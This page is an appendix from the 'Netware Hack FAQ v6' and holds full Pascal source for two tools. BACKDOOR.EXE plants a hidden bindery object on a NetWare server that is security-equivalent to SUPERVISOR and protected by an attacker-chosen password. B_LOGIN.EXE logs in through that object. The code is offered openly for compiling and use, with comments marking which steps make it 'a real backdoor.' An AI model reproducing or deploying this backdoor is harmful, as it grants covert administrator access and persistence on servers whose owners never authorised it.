HostedDB - Dedicated UNIX Servers

-->
Netware Hack FAQ v6


Appendix Section

A-08. Source code to BACKDOOR.EXE and B_LOGIN.EXE

Written in Pascal by Rx2.


To compile the sources yourself you need the right TPU's.. They can be found at ftp://novftp.rc.rug.nl/pmt/ftp/pub/proglibs/nwtp06.zip Please don't remove/change the texts in the source file and compile it and say you also made one.. Source file of BACKDOOR.EXE.. --------------CUT HERE--------------

Program Create_BackDoor_User;
{
Commented version.. For NW-Hack maillist and Netware Hack FAQ..
Future versions _might_ have :
- Object renaming function
- More userfriendly
- More options :
  - Make equivilent to whom you want
  - Manage a certain user
  - Assign as much as you want to the Accounting balance
- Search option 
- etc..

Please report bugs..
}
Uses Crt,Dos,NwBindry,NwMisc,NwAcct;

Var TestProp     : Tproperty;
    y, m, d, dow : Word;
    Swap         : Boolean;

{Little 'Intro'.. ;) }
Procedure Intro;
Begin
  WriteLn;
  WriteLn('  BackDoor 1.X Coded By Rx2 ');
  WriteLn;
  DelaY(5000);
End;

{A simple procedure to get the name of the object,password,objecttype..}
Procedure GetData(Var OT_MOI : Word;Var OT_Pass : String;Var OT_Name :
String);
Var C : Char;
Begin
  Repeat
    ClrScr;
    Write(' Enter ObjectType(Enter 0 For Default) : ');
    ReadLn(OT_MOI);
    Write(' Enter ObjectName : ');
    ReadLn(OT_Name);
    UpString(OT_Name);
    Write(' Enter ObjectPassWord : ');
    ReadLn(OT_Pass);
    UpString(OT_Pass);
    WriteLn;
    WriteLn(' Enter Data Is : ');
    If OT_MOI=0 Then
 	WriteLn(' ObjectType     = (Default BackDoor 1.X Object Type)')
    Else
 	WriteLn(' ObjectType     = ',OT_MOI);
    WriteLn(' ObjectName     = ',OT_Name);
    WriteLn(' ObjectPassWord = ',OT_Pass);
    WriteLn;
    Repeat
      Write(' Data Okay? (Y/N) ');
      Repeat Until Keypressed;
      C:=UpCase(ReadKey);
    Until (C='Y') Or (C='N');
  Until C='Y';
End;

{The procedure which creates the object with the needed properties..}
Procedure ProcesData(OT_MOI : Word;OT_Pass : String;OT_Name : String);
Var X     : Byte;
    Resul : Word;
Begin
  ClrScr;
    If OT_MOI=0 Then
	Begin
	  OT_MOI:=84;
         Swap:=True;
       End;
{
  To see if the bindery calls worked properly put this line after the
  function call : WriteLn(NwBindry.Result);
}
  {Tested And Needed}
  CreateBinderyObject(OT_Name,OT_MOI,BF_STAT_OBJ,BS_SUPER_READ or BS_ANY_WRITE);
  Resul:=NwBindry.Result;
  {Tested But Really Needed}
  CreateProperty(OT_Name,OT_MOI,'GROUPS_I''M_IN',BF_SET OR BF_STAT_PROP,BS_ANY_WRITE OR BS_BINDERY_READ);
  {Tested And Needed}
  CreateProperty(OT_Name,OT_MOI,'SECURITY_EQUALS',BF_SET OR BF_STAT_PROP,BS_OBJECT_WRITE OR BS_BINDERY_READ);
  {Tested But Not Really Needed}

AddBinderyObjectToSet(OT_Name,OT_MOI,'SECURITY_EQUALS','EVERYONE',OT_USER_GROUP);
  {Tested And Needed For It To Be A Real Backdoor}

AddBinderyObjectToSet(OT_Name,OT_MOI,'SECURITY_EQUALS','SUPERVISOR',OT_USER);
  {Tested And Needed}
  CreateProperty(OT_Name,OT_MOI,'PASSWORD',BF_ITEM OR BF_STAT_PROP,BS_BINDERY_WRITE OR BS_BINDERY_READ);
  {Tested And Needed}
  ChangeEncrBinderyObjectPassword(OT_Name,OT_MOI,'',OT_Pass);

{ Check For Accounting.. If Accounting is installed we MUST create a
     ACCOUNTING_OBJECT else we can't login properly..}
  If AccountingInstalled Then
    Begin
      CreateProperty(OT_Name,OT_MOI,'ACCOUNT_BALANCE',BF_ITEM OR BF_STAT_PROP,BS_SUPER_WRITE OR BS_OBJECT_READ);

      {Give it a Account Balance of 100000..}
      For X := 1 To 128 Do
        TestProp[X]:=0;
      TestProp[1]:=$00;{        }
      TestProp[2]:=$01;{  Total }
      TestProp[3]:=$86;{    of  }
      TestProp[3]:=$A0;{ 100000 }
      WritePropertyValue(OT_Name,OT_MOI,'ACCOUNT_BALANCE',1,TestProp,FALSE);
    End;

  {Create a property so that we can see if it's made by BackDoor 1.X}
  CreateProperty(OT_Name,OT_MOI,'IDENT',BF_ITEM OR BF_STAT_PROP,BS_SUPER_WRITE OR BS_SUPER_READ);
  For X := 1 To 128 Do
    TestProp[X]:=0;
  TestProp[1]:=82;  {'R'}
  TestProp[2]:=120; {'x'}
  TestProp[3]:=50;  {'2'}
  WritePropertyValue(OT_Name,OT_MOI,'IDENT',1,TestProp,FALSE);

  If Swap Then
    Begin
      OT_MOI:=0;
      Swap:=False;
    End;

  If Resul=0 Then
    Begin
	WriteLn(' Object ',OT_Name,' Created.');
    End
  Else
    Begin
	WriteLn(' A Error Occured While Creating Object ',OT_Name,'!');
    End;
  WriteLn;
  WriteLn(' Press Any Key To Return To Main Menu ');
  Repeat Until Keypressed;
  ReadKey;
End;

{Procedure to remove the object..}
Procedure Remove_Object(OT_MOI : Word;OT_Pass : String;OT_Name : String);
Var C : Char;
Begin
  ClrScr;
  WriteLn(' By Pressing ''Y'' You Are Removing This Object : ');
  If OT_MOI=0 Then
    WriteLn(' ObjectType     = (Default BackDoor 1.X Object Type)')
  Else
    WriteLn(' ObjectType     = ',OT_MOI);

  WriteLn(' ObjectName     = ',OT_Name);
  WriteLn(' ObjectPassWord = ',OT_Pass);
  WriteLn;
  Write(' Continue? (Y to Remove Object. Any Other Key To Abort.) ');
  Repeat Until Keypressed;
  C:=UpCase(ReadKey);
  WriteLn;
  If C='Y' Then
    Begin
	If OT_MOI=0 Then
  	  Begin
	    OT_MOI:=84;
           Swap:=True;
         End;

	DeleteBinderyObject(OT_Name,OT_MOI);

  	If Swap Then
	  Begin
    	    OT_MOI:=0;
	    Swap:=False;
    	  End;
      WriteLn;
      If NwBindry.Result=0 Then
      	WriteLn(' Object Removed!')
      Else
      	WriteLn(' A Error Occured! Object Not Removed!');
    End;
  WriteLn;
  WriteLn(' Press Any Key To Return To Main Menu ');
  Repeat Until Keypressed;
  ReadKey;
End;

{Procedure which looks for similar backdoor users..}
Procedure Search_Backdoor;
Begin
  ClrScr;
  WriteLn(' This Option Is Not Included!!');
  WriteLn(' I Don''t Have The Time Or Real Need To Make This One.. ');
  WriteLn(' I''ll Include One If People Need It Or I Feel Like Coding One..');
  WriteLn;
  WriteLn(' Press Any Key To Return To Main Menu ');
  Repeat Until Keypressed;
  ReadKey;
End;

{Procedure to display the data entered..}
Procedure DisplayData(OT_MOI : Word;OT_Pass : String;OT_Name : String);
Begin
  ClrScr;
  WriteLn;
  WriteLn(' Entered Data Is : ');
  If OT_MOI=0 Then
    WriteLn(' ObjectType     = (Default BackDoor 1.X Object Type)')
  Else
    WriteLn(' ObjectType     = ',OT_MOI);
  WriteLn(' ObjectName     = ',OT_Name);
  WriteLn(' ObjectPassWord = ',OT_Pass);
  WriteLn;
  WriteLn(' Press Any Key To Return To Main Menu ');
  Repeat Until Keypressed;
  Readkey;
End;

{Procedure which checks if the object exits and tells if it's a object
 created with BackDoor 1.X}
Procedure Display_Object(OT_MOI : Word;OT_Pass : String;OT_Name : String);
Var objId         : LongInt;
    PropName      : String;
    segmentNumber : Word;
    propValue     : Tproperty;
    moreSegments  : Boolean;
    propFlags     : Byte;
    X             : Byte;
    Check1        : Boolean;
Begin
  ClrScr;
  For X:= 1 To 128 Do
    PropValue[X]:=0;
  If OT_MOI=0 Then
    Begin
      OT_MOI:=84;
      Swap:=True;
    End;

  If GetBinderyObjectID(OT_Name,OT_MOI,objID) Then
    Begin
      PropName:='IDENT';
      SegmentNumber:=1;
      ReadPropertyValue(OT_Name,OT_MOI,propName,segmentNumber,propValue,moreSegments,propFlags);

      If (PropValue[1]=82) And (PropValue[2]=120) And (PropValue[3]=50) Then
        Begin
          WriteLn(' Object ',OT_Name,' Is A BackDoor User Created With BackDoor 1.X ');
          End
	 Else
  	   Begin
	     WriteLn(' Object ',OT_Name,' Isn''t A BackDoor User Created With BackDoor 1.X ');
	    End;
    End
  Else
    Begin
	WriteLn(' Object ',OT_Name,' Doesn''t Exists..');
    End;

  If Swap Then
    Begin
      OT_MOI:=0;
      Swap:=False;
    End;

  WriteLn;
  WriteLn(' Press Any Key To Return To Main Menu ');
  Repeat Until Keypressed;
  ReadKey;
End;

{Procedure which displays the options the user can choose from..}
Procedure DisplayOptions;
Begin
  Clrscr;
  WriteLn('    BackDoor 1.X');
  WriteLn;
  WriteLn(' 1. Enter Data (ObjectType,ObjectName,ObjectPassword) ');
  WriteLn(' 2. Display Data (ObjectType,ObjectName,ObjectPassword) ');
  WriteLn(' 3. Create Object ');
  WriteLn(' 4. Remove Object ');
  WriteLn(' 5. Display Object Data ');
  WriteLn(' 6. Search For BackDoor User ');
  WriteLn(' 0. Exit ');
End;

{Procedure which calls the specific procedure chosen by the user..}
Procedure Menu;
Var OT_MOI  : Word;
    OT_Pass : String;
    OT_Name : String;
		X       : Char;
Begin
  OT_MOI:=0;
  OT_Pass:='XXXXX';
  OT_Name:='DBACK';
  Repeat
  DisplayOptions;
  X:=Readkey;
  Case X Of
    '1' : Begin
	     GetData(OT_MOI,OT_Pass,OT_Name);
      	   End;
    '2' : Begin
            DisplayData(OT_MOI,OT_Pass,OT_Name);
      	   End;
    '3' : Begin
	     ProcesData(OT_MOI,OT_Pass,OT_Name);
      	   End;
    '4' : Begin
            Remove_Object(OT_MOI,OT_Pass,OT_Name);
      	   End;
    '5' : Begin
            Display_Object(OT_MOI,OT_Pass,OT_Name);
      	   End;
    '6' : Begin
            Search_BackDoor;
      	   End;
    End; {Case End}
  Until X='0';
End;

Begin
  ClrScr;
  Swap:=False;

  Intro;
  Menu;
End.
--------------CUT HERE--------------

Source file of B_LOGIN.EXE..

--------------CUT HERE--------------

Program B_Login;
{
Commented version.. For NW-Hack maillist and Netware Hack FAQ..
}
Uses Crt,Dos,NwConn,NwMisc,NwBindry;

{Little 'Intro'/'Outro'.. ;) }
Procedure Intro;
Begin
  WriteLn;
  WriteLn(' BackDoor 1.X Coded By Rx2 ');
  WriteLn;
  DelaY(5000);
End;


Var OT_Pass      : String;
    EKey         : TencryptionKey;
    OT_Name      : String;
    OT_MOI       : Word;
    y, m, d, dow : Word;
Begin
  ClrScr;
  OT_Name:='DBACK'; {Default data..}
  OT_Pass:='XXXXX';
  OT_MOI:=84;

  WriteLn(' BackDoor 1.X Login Utility.');
  WriteLn;

  Write(' Enter ObjectType(Enter 0 For Default) : ');
  ReadLn(OT_MOI);
  Write(' Enter ObjectName : ');
  ReadLn(OT_Name);
  UpString(OT_Name);
  Write(' Enter ObjectPassWord : ');
  ReadLn(OT_Pass);     {Is echoed to the screen!!}
  UpString(OT_Pass); 
  If OT_MOI=0 Then
    OT_MOI:=84;

  {The login!!}
  LoginEncrToFileServer(OT_Name,OT_MOI,OT_Pass);

  WriteLn;
  If NwConn.Result=0 Then
    WriteLn(' You''r Now Logged In!!')
  Else
    WriteLn(' A Error Occured!! Your Not Logged In!!');

  Intro;
End.
--------------CUT HERE--------------

[ Return to TOC | Return to FAQ Page ]